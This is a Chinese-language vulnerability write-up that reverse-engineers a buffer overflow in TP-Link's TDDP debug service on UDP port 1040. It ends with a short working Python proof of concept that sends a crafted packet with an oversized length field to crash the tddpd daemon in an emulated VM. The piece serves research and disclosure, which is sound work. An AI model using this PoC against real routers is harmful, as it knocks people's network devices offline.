TP-Link TDDP 缓冲区溢出安全漏洞解析
导语:TDDP 服务程序在 UDP 端口 1040 上监听时,处理数据时未能正确检查长度,这导致了内存溢出,破坏了内存结构,最终引发了服务中断
TDDP 服务程序在 UDP 端口 1040 上监听时,处理数据时未能正确检查长度,这导致了内存溢出,破坏了内存结构,最终引发了服务中断。
本文深入分析了一个在 2020 年向 TP-Link 报告的安全漏洞。遗憾的是,至今没有 CVE 编号分配给这个漏洞,因此相关的详细信息并未公之于众。通常,阅读技术分析报告能够带来丰富的见解和学习机会。我坚信,公开分享研究方法和成果对整个行业以及广大的学习者、学生和专业人士都有着积极的意义。
在本文中,我将使用 Shambles 这个工具来识别、逆向分析、模拟并验证这个导致服务中断的缓冲区溢出问题。如果您对 Shambles 感兴趣,可以通过加入 Discord 服务器并查阅 FAQ 频道来了解更多信息。
首先,我们来介绍一下 TDDP 协议,这是一种在专利 CN102096654A 中详细描述的二进制协议。您需要了解的所有协议细节都在专利描述中。不过,我会在这里为您做一个简要的总结。
TDDP 是 TP-LINK 设备调试协议的缩写,它主要用于通过单个 UDP 数据包进行设备调试。这种协议对于逆向分析来说非常有趣,因为它是一个需要解析的二进制协议。TDDP 数据包的作用是传输包含特定消息类型的请求或命令。下图展示了一个 TDDP 数据包的结构。
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Ver | Type | Code | ReplyInfo |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| PktLength |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| PktID | SubType | Reserve |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| MD5 Digest[0-3] |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| MD5 Digest[4-7] |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| MD5 Digest[8-11] |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| MD5 Digest[12-15] |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
当您需要发送命令时,您需要调整 Type
和 SubType
这两个头部字段的值。据我所知,所有返回的数据都会使用 DES 加密,并且通常需要使用设备的用户名和密码来解密。发送给设备的配置数据也需要加密。DES 密钥是通过结合用户名和密码的 MD5 哈希值来生成的,具体做法是取哈希值的前 8 个字节。
下面这张图展示了整个缓冲区溢出的链条。我们将一步步分析,但您可能需要不时地回到上图来对照。
让我们来详细分析一下。下面展示的函数我们称之为 tddpEntry
(sub_4045f8 0x004045F8
),这是整个链条的起点。这个函数负责使用 TDDP 协议处理通信,通过不断检查传入的数据。它从 recvfrom
函数接收 UDP 数据,该函数用于从 dword_4178d0
指定的套接字接收数据。
接收到的数据被存储在缓冲区(varf4
)中。在将数据传递给 TddpPktInterfaceFunction
(sub_4045f8+330 0x00404B40
)进行处理时,并没有对接收到的数据大小进行验证。如下图所示,GetTddpMaxPktBuff
(sub_4042d0 0x004042D0
)函数返回的值是 0x14000
。
接下来是 TddpPktInterfaceFunction
函数的实现。
上面的条件判断块会处理数据包的第一个字节 p0
等于 2 的情况,即代码中的 *(byte *)p0 == 2
。该函数通过设置数据包中的特定值和一个新的存储空间指针来传递数据。然后,它调用 tddp_versionTwoOpt
(sub_404b40 0x00405990
)函数来进一步处理数据包。在处理数据包时,off_42ba8c
的大小和分配的最大长度为 0x14000
。tddp_versionTwoOpt
函数将数据传递给 tddp_deCode
(sub_404fa4 0x00405014
)进行解码验证。
tddp_deCode
函数会设置数据、DES 加密长度和指针,然后尝试解码传入的 TDDP 数据包(p0
和 p1
)并验证解密数据的完整性。如果解码成功,它会更新解码后的数据并返回 0
。
简而言之,tddp_deCode
函数的作用是解码 TDDP 数据包。在 tddp_deCode
函数中,数据和 DES 加密长度会被存储在 byte[4-8]
中,并且在调用 des_min_do
函数进行解密之前,会设置一个指向新存储数据的指针。值得注意的是,des_min_do
是 /lib/libutility_lib.so
库提供的一个函数。
同样地,大小和长度等参数也会被传递给 des_min_do
函数用于解密。
在从输入数据中提取必要的字段后,该函数使用提取的字节 byte[4-8]
来计算 DES 加密长度,并将指针设置指向新存储的数据,这个指针由变量 arg4
表示。
// Further up in the function
arg0 = p0;
arg4 = p1; // Pointer of the newly stored data
// Line 99
var34 = des_min_do(arg0 + 28, var38, arg4 + 28, v18);
这里,arg4
作为参数传递给 des_min_do
函数,这个函数我们已经多次提到,它负责对数据进行解密。解密后的数据会从偏移量 arg4 + 28
的位置开始存储。
// Line 96
v18 = GetTddpMaxPktBuff() - 28;
结果值(v18
)被用作后续操作的界限。上面的代码片段是在调用函数 sub_4042d0()
时的,它返回解密数据的大小。然后,从这个大小中减去 28
,可能是为了计算某些头部的长度。这个值作为第四个参数传递。
这段内容有点长,也可能有些混乱,所以让我们来回顾一下。在 des_min_do
函数中,arg4
和 v18
是传递给函数的参数。变量 arg4
包含了 p1
的值,作为第三个参数传递给 des_min_do
。arg4
用于提供 DES 数据的长度给 des_min_do
函数。v18
也作为第四个参数传递给 des_min_do
,并且被赋值为 GetTddpMaxPktBuff() - 28
的结果。
现在让我们来看看 des_min_do
函数的实现。
如上图所示,当传入的 DES 加密长度大于最大尺寸限制 0x14000
时,函数会直接返回 0
,而不进行解密。因此,如果 v6
是 0
,v5
小于 p1
,那么 DES 加密密钥将不会使用 DES_set_key_unchecked
设置,也不会执行解密。所以在这个时候,des_min_do
函数将返回 0
。
在 tddp_deCode
函数中执行了一些其他操作后,我们来到了 MD5 摘要验证环节。
在 tddp_deCode
函数处理完毕后,会提取存储在 byte[13-28]
中的 MD5 摘要,并与当前数据集的整个 MD5 摘要进行比较。在比较 MD5 摘要时,原始的 MD5 摘要 byte[13-28]
位置会被设置为 0
。如下图所示的内存写操作。
*(byte *)(arg4 + var38 + 28) = 0;
由于 arg4
是包含 MD5 摘要的数据结构,var38
保存了缓冲区中 MD5 摘要开始的偏移量。通过将这个位置的字节设置为 0
,它有效地修改了存储的 MD5 摘要,该摘要存储在缓冲区的 byte[13-28]
中。这种修改使得后续的比较能够确定重新计算的 MD5 摘要是否与原始存储的 MD5 摘要匹配。
所以!存储在 byte[13-28]
中的 MD5 摘要被提取出来。然后,这个提取的 MD5 摘要会与 MD5 摘要数据进行比较,其中原始 MD5 摘要 byte[13-28]
位置被设置为 0
。如果验证过程正确(即,提取的 MD5 摘要与当前数据的 MD5 摘要相匹配),tddp_deCode
函数将继续处理,将新存储内容的指针指向 byte[4-8] + 28
的位置,并设置字节位置为 0
。由于 byte[4-8]
是可以控制的,我们可以引发溢出(如果值大于 0x14000
),将其写为 0
会导致内存损坏,因为它破坏了内存结构并引发了服务中断(DoS)状态。
让我们用 Shambles 来做一个概念验证(POC)吧!这个过程实际上只需要 5 分钟。只需创建一个虚拟机并将其映射到包含所有固件二进制文件的第二个文件系统。
然后我们只需启动虚拟机,如下所示,无需对固件做任何修改,它就能完美运行。
通过内置的 SSH 控制台,我们将手动启动 httpd
程序。
我们可以通过设置反向代理并访问页面来验证它是否正常工作。
我们还将启动 tddpd
服务。
在我们尝试对系统进行任何操作之前,始终要验证所需的服务是否正在运行。我们在下图确认 tddpd
正在端口 1040
上运行。
我将通过本地端口 10461
访问虚拟机的端口 1040
。
我们需要在 byte[4-8]
中将 v0
设置为 0x01000000
。UDP 数据包仍然必须是有效的并被识别。所以根据专利信息,我们将设置以下值:
byte[0]: Ver
byte[4-8]: PktLength
byte[13-28]: MD5 digest
byte[29-N]: DES
---------------------------------
TDDP version = "02"
TDDP user config = "01 00 00 00"
TDDP code request type = "01"
TDDP reply info status (OK) = "00"
TDDP padding = "%0.16X" % 00
最终的概念验证代码如下,
import socket
import hashlib
bytes12 = bytes([0x02, 0x01, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00,
0x12, 0x34, 0x56, 0x78])
magic = (0x00).to_bytes(length=16, byteorder='big')
tmp_data_bytes = bytes12 + magic
md5_bytes = hashlib.md5(tmp_data_bytes).digest()
data_bytes = bytes12 + md5_bytes
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(data_bytes, ("127.0.0.1", 10461))
data = s.recv(1024)
print('recv:' + data.decode())
s.close()
一旦执行,我们可以查看 Shambles 虚拟机的日志,发现 tddpd
程序已经崩溃。
通过调试,我们可以确认崩溃的原因是传入的 v0=0x01000000
超出了范围,导致写入值为 0
,从而引发了崩溃。
原文链接:Lian Security
发表评论